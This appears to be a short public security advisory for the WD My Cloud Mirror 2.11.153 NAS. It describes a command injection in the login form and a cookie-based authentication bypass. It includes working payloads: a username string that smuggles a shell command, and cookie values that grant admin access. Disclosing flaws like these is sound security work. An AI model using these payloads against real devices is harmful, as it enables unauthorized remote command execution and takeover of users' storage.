WD My Cloud Mirror 2.11.153 RCE and Authentication Bypass

2017.01.24

Credit: Kacper Szurek

Risk: High

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

# Exploit Title: WD My Cloud Mirror 2.11.153 RCE and Authentication Bypass
# Date: 24.01.2017
# Software Link: https://www.wdc.com
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: local
  
1. Description
 
It’s possible to execute arbitrary commands using login form because `exec()` function is used without `escapeshellarg()`.
 
It's possible to bypass login form because function only check if `$_COOKIE['username']` and `$_COOKIE['isAdmin']` exist.
 
https://security.szurek.pl/wd-my-cloud-mirror-211153-rce-and-authentication-bypass.html
 
2. Proof of Concept
 
For RCE simply use as username:
 
a" || your_command_to_execute || "
 
For authentication bypass set COOKIES:
 
username=1; isAdmin=1
 
and then visit for example php/users.php

References:

https://security.szurek.pl/wd-my-cloud-mirror-211153-rce-and-authentication-bypass.html

See this note in RAW Version

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WD My Cloud Mirror 2.11.153 RCE and Authentication Bypass

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